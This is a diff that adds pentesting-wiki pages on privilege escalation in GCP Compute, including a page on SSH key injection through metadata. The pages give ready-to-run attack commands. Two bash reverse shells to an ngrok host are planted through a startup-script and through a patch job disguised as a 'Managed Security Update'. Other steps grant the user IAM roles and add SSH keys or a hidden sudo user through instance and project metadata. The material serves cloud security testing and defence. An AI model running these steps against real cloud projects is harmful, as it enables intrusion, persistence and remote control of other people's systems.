fix

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md

@@ -0,0 +1,151 @@
+# GCP - Compute Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Compute
+
+For more information about Compute and VPC (netowork) in GCP check:
+
+{{#ref}}
+../../gcp-services/gcp-compute-instances-enum/
+{{#endref}}
+
+> [!CAUTION]
+> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
+
+### `compute.projects.setCommonInstanceMetadata`
+
+With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
+Limitations:
+
+- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
+- You will need to be **able to contact the SSH** server to login
+
+For more information about how to exploit this permission check:
+
+{{#ref}}
+gcp-add-custom-ssh-metadata.md
+{{#endref}}
+
+You could aslo perform this attack by adding new startup-script and rebooting the instance:
+
+```bash
+gcloud compute instances add-metadata my-vm-instance \
+    --metadata startup-script='#!/bin/bash
+bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
+
+gcloud compute instances reset my-vm-instance
+```
+
+### `compute.instances.setMetadata`
+
+This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
+
+### `compute.instances.setIamPolicy`
+
+This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account:
+
+```bash
+export SERVER_SERVICE_ACCOUNT=YOUR_SA
+export INSTANCE=YOUR_INSTANCE
+export ZONE=YOUR_INSTANCE_ZONE
+
+cat <<EOF > policy.json
+bindings:
+- members:
+  - serviceAccount:$SERVER_SERVICE_ACCOUNT
+  role: roles/compute.admin
+version: 1
+EOF
+
+gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
+```
+
+### **`compute.instances.osLogin`**
+
+If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
+
+> [!TIP]
+> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
+
+### **`compute.instances.osAdminLogin`**
+
+If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
+
+> [!TIP]
+> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
+
+### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
+
+It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
+
+The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
+
+### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
+
+If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
+
+Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
+
+If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
+For a patch job run:
+
+```python
+cat > /tmp/patch-job.sh <<EOF
+#!/bin/bash
+bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
+EOF
+
+gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
+
+# Get the generation number
+gsutil ls -a gs://readable-bucket-by-sa-in-instance
+
+gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
+  --instance-filter-names=zones/us-central1-a/instances/<instance-name> \
+  --pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
+  --reboot-config=never \
+  --display-name="Managed Security Update" \
+  --duration=300s
+```
+
+To deploy a patch deployment:
+
+```bash
+gcloud compute os-config patch-deployments create <name> ...
+```
+
+The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
+
+**An attacker could also abuse this for persistence.**
+
+### `compute.machineImages.setIamPolicy`
+
+**Grant yourself extra permissions** to compute Image.
+
+### `compute.snapshots.setIamPolicy`
+
+**Grant yourself extra permissions** to a disk snapshot.
+
+### `compute.disks.setIamPolicy`
+
+**Grant yourself extra permissions** to a disk.
+
+### Bypass Access Scopes
+
+Following this link you find some [**ideas to try to bypass access scopes**](../index.html).
+
+### Local Privilege Escalation in GCP Compute instance
+
+{{#ref}}
+../gcp-local-privilege-escalation-ssh-pivoting.md
+{{#endref}}
+
+## References
+
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md

@@ -0,0 +1,100 @@
+# GCP - Add Custom SSH Metadata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
+
+Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
+
+### **Incorporation of SSH Keys into Custom Metadata**
+
+On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
+
+Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
+
+### **Add SSH key to existing privileged user**
+
+1. **Examine Existing SSH Keys on the Instance:**
+
+   - Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
+
+     ```bash
+     gcloud compute instances describe [INSTANCE] --zone [ZONE]
+     ```
+
+   - Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
+
+2. **Prepare a Text File for SSH Key Metadata:**
+   - Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
+3. **Generate a New SSH Key for the Target User (`alice` in this example):**
+
+   - Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
+
+     ```bash
+     ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
+     ```
+
+   - Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
+
+4. **Update the Instance's SSH Key Metadata:**
+
+   - Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
+
+     ```bash
+     gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
+     ```
+
+5. **Access the Instance Using the New SSH Key:**
+
+   - Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
+
+     ```bash
+     ssh -i ./key alice@localhost
+     sudo id
+     ```
+
+### **Create a new privileged user and add a SSH key**
+
+If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
+
+```bash
+# define the new account username
+NEWUSER="definitelynotahacker"
+
+# create a key
+ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
+
+# create the input meta file
+NEWKEY="$(cat ./key.pub)"
+echo "$NEWUSER:$NEWKEY" > ./meta.txt
+
+# update the instance metadata
+gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
+
+# ssh to the new account
+ssh -i ./key "$NEWUSER"@localhost
+```
+
+### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
+
+It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
+
+1. **Apply SSH Keys at the Project Level:**
+
+   - Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
+
+     ```bash
+     gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
+     ```
+
+2. **SSH into Instances Using Project-Wide Keys:**
+   - With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
+   - A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
+
+## References
+
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md

@@ -464,9 +464,6 @@ The attacker gains access to the Firebase CLI credentials file. They can then co
 ```bash
 firebase projects:list
 ```
-## References
-
-- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
 {{#include ../../../banners/hacktricks-training.md}}